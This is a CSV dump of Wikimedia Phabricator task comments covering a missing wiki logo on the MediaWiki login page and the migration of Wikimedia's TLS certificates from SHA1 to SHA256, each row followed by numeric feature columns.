+Update to phpunit 3.7.37 and PSR-4 classloader
+
+https://gerrit.wikimedia.org/r/164683",,,1412373560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+73334,wgLogo missing on Login page,"Reproduced on mw.org: https://www.mediawiki.org/wiki/Special:UserLogin
+
+The logo at the top left side is missing. It is visible on all other pages.
+
+--------------------------
+**Version**: 1.25-git
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/Special:UserLogin
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56257",High,80.0,1411678620,1411687972.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-g57oty545cpxlsux7g2c,task_description,resolved,True,c3,1,True,False,True,-40,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+331502,wgLogo missing on Login page,"[Backport was merged into 1.25wmf1, hence setting Backport_WMF flag to +]",,,1412717618,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+331495,wgLogo missing on Login page,The problem that change fixed (bug 56257) has been re-opened. See bug 56257 for alternative solution.,,,1411693824,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+331488,wgLogo missing on Login page,Backported and deployed.,,,1411687972,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+331482,wgLogo missing on Login page,"Change 163024 merged by jenkins-bot:
+Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""
+
+https://gerrit.wikimedia.org/r/163024",,,1411686201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+331478,wgLogo missing on Login page,"Change 163021 merged by jenkins-bot:
+Revert ""Use mw-wiki-logo class instead of inline background-image""
+
+https://gerrit.wikimedia.org/r/163021",,,1411685998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+331473,wgLogo missing on Login page,"Change 163020 merged by jenkins-bot:
+Revert ""Use mw-wiki-logo class instead of inline background-image""
+
+https://gerrit.wikimedia.org/r/163020",,,1411680711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+331468,wgLogo missing on Login page,"Change 163023 merged by jenkins-bot:
+Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""
+
+https://gerrit.wikimedia.org/r/163023",,,1411680707,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+331464,wgLogo missing on Login page,Lego: Wanna do this at 4 today?,,,1411679918,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+331460,wgLogo missing on Login page,"Change 163024 had a related patch set uploaded by Legoktm:
+Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""
+
+https://gerrit.wikimedia.org/r/163024",,,1411679900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+331456,wgLogo missing on Login page,"Change 163023 had a related patch set uploaded by Legoktm:
+Revert ""Set site logo url in ResourceLoaderSiteModule instead of inline styles""
+
+https://gerrit.wikimedia.org/r/163023",,,1411679844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+331451,wgLogo missing on Login page,"Change 163021 had a related patch set uploaded by Legoktm:
+Revert ""Use mw-wiki-logo class instead of inline background-image""
+
+https://gerrit.wikimedia.org/r/163021",,,1411679721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+331446,wgLogo missing on Login page,"Change 163020 had a related patch set uploaded by Legoktm:
+Revert ""Use mw-wiki-logo class instead of inline background-image""
+
+https://gerrit.wikimedia.org/r/163020",,,1411679659,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+331440,wgLogo missing on Login page,Caused by: https://gerrit.wikimedia.org/r/#/c/98356/,,,1411679124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+331434,wgLogo missing on Login page,"I see it in MonoBook, not in Vector though...",,,1411678781,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-g57oty545cpxlsux7g2c,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+73156,Replace SHA1 certificates with SHA256,"SHA1 certificates still existing in our repo (as of 2015-05-29):
+
+Intermediary SHA1 certificates (some of these will cease use when SHA1 certs are replaced, some won't, need to note which):
+
+[ ] - (*.planet.wikimedia.org uses this) DigiCertHighAssuranceCA-3.crt
+[ ] - RapidSSL_CA.crt - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo
+
+
+Completed:
+
+[x] - civicrm T104378 (reissue complete, pending service implementation)
+[x] - frdata T104378 (reissue complete, pending service implementation)
+[x] - fundraising T104378 (reissue complete, pending service implementation)
+[x] - payments-listener T104378 (reissue complete, pending service implementation)
+[x] - RapidSSL_CA_2 - all rapidssl certs in sha256 appear to use RapidSSL_SHA256_CA_-_G3.crt.  Once all sha1 rapidssl are replaced, this can be removed from the repo (this was gone before robh could get to it)
+[x] - ldap-mirror.wikimedia.org.crt T105187
+[x] - star.planet.wikimedia.org.crt 
+[x] - ganglia.wikimedia.org.crt T100825
+[x] - git.wikimedia.org.crt T100827
+[x] - icinga.wikimedia.org.crt T100830
+[x] - librenms.wikimedia.org.crt T100831
+[x] - lists.wikimedia.org.crt T100832
+[x] - svn.wikimedia.org.crt - expired
+[x] - tendril.wikimedia.org.crt T100835
+[*] - ticket.wikimedia.org.crt T91504 T104634
+[x] - star.wmflabs.crt :  T104017
+[x] - star.wmflabs.org.crt : T104017
+[x] - wikitech.wikimedia.org.crt T92709
+
+
+
+",High,80.0,1411431840,1436892871.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_description,resolved,True,c3,1,True,False,True,-41,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+491375,Replace SHA1 certificates with SHA256,"So the symlink in /etc/ssl/RapidSSL_CA.pem was leftover, as update-ca-certificates didn't fire off (via config/script) after file removal.
+
+Brandon fixed the config to fire an update:  https://gerrit.wikimedia.org/r/#/c/224639/  
+
+The fix is live and applying to systems.  Resolving task.",,,1436892861,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+490168,Replace SHA1 certificates with SHA256,"First of two patchsets is merged, I'll follow up on this in a day or so to ensure its been properly removed via puppet.",,,1436547691,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+490166,Replace SHA1 certificates with SHA256,"My patchset was incorrect, as I simply removed the file from the repo, and removed the stanza from certificates.pp entirely.
+
+I've changed it now to work as Brandon suggested on the patchset, since he just did this work with the globaltrust certificate in the repo.",,,1436547568,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+489391,Replace SHA1 certificates with SHA256,"I've confirmed with Jeff that he doesn't use any copies of the rapidssl SHA1 intermediary cert from our public repo (he has his own copy in frack repo).
+
+As such, I've submitted https://gerrit.wikimedia.org/r/#/c/223816/ to remove the rapidssl sha1 intermediary certificates.  My patchset (presently) removes the file, as well as updating certificates.pp to remove its references.  I think this is enough, but since it isn't a rush, I'd like to have either Brandon or Faidon confirm.  (Since they are the ones most familar with those scripts, being the ones who merged and submitted it in the first place ;)",,,1436458662,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+488742,Replace SHA1 certificates with SHA256,"The ldap-mirror.wikimedia.org is not a RapidSSL certificate; so I've asked Jeff on the fr-certs sub-ticket to confirm he doesn't need the copies in our main repo. T104378
+
+Additionally, sub-task T105187 for ldap-mirror needs to confirm that is indeed a self-signed, and not using rapidssl.
+
+I'm being overly cautious about the above, as I'm 99.999% certain we could get rid of both intermediaries this second and not have any problems.  However, there isn't a rush on deleting them entirely from the repo just yet, so we can wait for confirmation.
+
+Once the above conditions are met; I'll git rm RapidSSL_CA.crt and RapidSSL_CA_2",,,1436375391,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,0,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+488413,Replace SHA1 certificates with SHA256,"I still need to investigate/replace use of the ldap-mirror certificate (need to coordinate, as last time this happened it was tricky getting the ldap service to recognize the update correctly.)
+
+Once that and the fundraising sub-task are complete, the old rapidssl sha1 intermediate certificates can be removed from our repo.",,,1436321002,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+484482,Replace SHA1 certificates with SHA256,I'm not quite certain about the existence or replacement of the fundraising related certificates.  Perhaps @Jgreen can advise?,,,1435693008,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+478688,Replace SHA1 certificates with SHA256,">>! In T73156#1383664, @Dzahn wrote:
+> so all is left here is OTRS it seems
+
+WMF Labs, Planet, and the domains mentioned by @JGreen, civicrm, frdata, fundraising, payments-listener are still using SHA1. 
+
+https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1434878957,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+478217,Replace SHA1 certificates with SHA256,so all is left here is OTRS it seems,,,1434741916,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+469342,Replace SHA1 certificates with SHA256,"please revoke the SHA-1 versions of:  tendril, librenms, icinga, ganglia
+
+please check if the SHA-1 certs have been revoked already:  dumps, blog, gerrit",,,1433452093,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+445494,Replace SHA1 certificates with SHA256,"T91504 is also a dependency.
+
+Signature algorithm 	SHA1withRSA   WEAK
+https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org
+(deleted cached version to re-check)",,,1429295288,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+445290,Replace SHA1 certificates with SHA256,"Yes, only the part of that ticket related to the SHA1 in the cert is also a dependency.",,,1429280249,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+445261,Replace SHA1 certificates with SHA256,So we're only missing T92709 here to close this? Or is T91504 also a dependency?,,,1429277508,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+424763,Replace SHA1 certificates with SHA256,"Change 195309 merged by RobH:
+delete stats.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195309]]",,,1426104451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424643,Replace SHA1 certificates with SHA256,"Change 195304 merged by RobH:
+delete metrics.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195304]]",,,1426094963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424577,Replace SHA1 certificates with SHA256,"Change 195303 merged by Dzahn:
+delete etherpad SSL cert
+
+[[https://gerrit.wikimedia.org/r/195303]]",,,1426090032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424255,Replace SHA1 certificates with SHA256,"Change 195307 merged by Dzahn:
+delete bugzilla SSL certs
+
+[[https://gerrit.wikimedia.org/r/195307]]",,,1426031118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424052,Replace SHA1 certificates with SHA256,"Change 195310 abandoned by Dzahn:
+delete svn.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195310]]",,,1426015718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423420,Replace SHA1 certificates with SHA256,"Change 195308 merged by Dzahn:
+delete techblog.wm blog SSL cert
+
+[[https://gerrit.wikimedia.org/r/195308]]",,,1425936940,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423379,Replace SHA1 certificates with SHA256,"Change 195306 abandoned by Dzahn:
+delete *.planet.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195306]]",,,1425934764,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423286,Replace SHA1 certificates with SHA256,"Change 195309 had a related patch set uploaded (by Krinkle):
+delete stats.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195309]]
+",,,1425925531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423244,Replace SHA1 certificates with SHA256,"Change 195310 had a related patch set uploaded (by Dzahn):
+delete svn.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195310]]
